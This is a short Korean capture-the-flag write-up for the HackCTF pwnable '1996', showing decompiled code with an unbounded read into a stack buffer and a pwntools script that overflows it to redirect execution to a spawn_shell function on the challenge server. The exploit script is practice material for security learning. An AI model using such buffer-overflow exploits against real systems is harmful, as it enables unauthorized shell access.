Wargame Write-Up/HackCTF
[HackCTF] (Pwnable) 1996 풀이
snwo
2020. 5. 26. 12:00
환경변수를 입력받는다. 하지만 host 는 없는변수다.
undefined8 main(void)
{
basic_ostream *this;
char *pcVar1;
char local_418 [1032];
operator<<<std--char_traits<char>>
((basic_ostream *)__TMC_END__,"Which environment variable do you want to read? ");
operator>><char,std--char_traits<char>>((basic_istream *)cin,local_418);
this = operator<<<std--char_traits<char>>((basic_ostream *)__TMC_END__,local_418);
this = operator<<<std--char_traits<char>>(this,"=");
pcVar1 = getenv(local_418);
this = operator<<<std--char_traits<char>>(this,pcVar1);
operator<<((basic_ostream<char,std--char_traits<char>> *)this,endl<char,std--char_traits<char>>);
return 0;
}
cout 로 입력을 받는다. cout 도 bof 가 일어날것같다.
함수목록을 보니 spawn_shell 함수가 주어져서 그냥 BOF 를 해보기로했다.
NX 밖에 걸려있지않는다.
from pwn import *
r=remote("ctf.j0n9hyun.xyz",3013)
#r=process("./1996")
b=ELF("./1996")
pay="x"*0x410
pay+='x'*0x8
pay+=p64(0x400897) #spawn_shell
r.sendline(pay)
r.interactive()
성공적으로 쉘이따진다.
원래 어떻게푸는건지 궁금해서 찾아보았다.
환경변수는 어그로고, 이렇게푸는게 맞았다.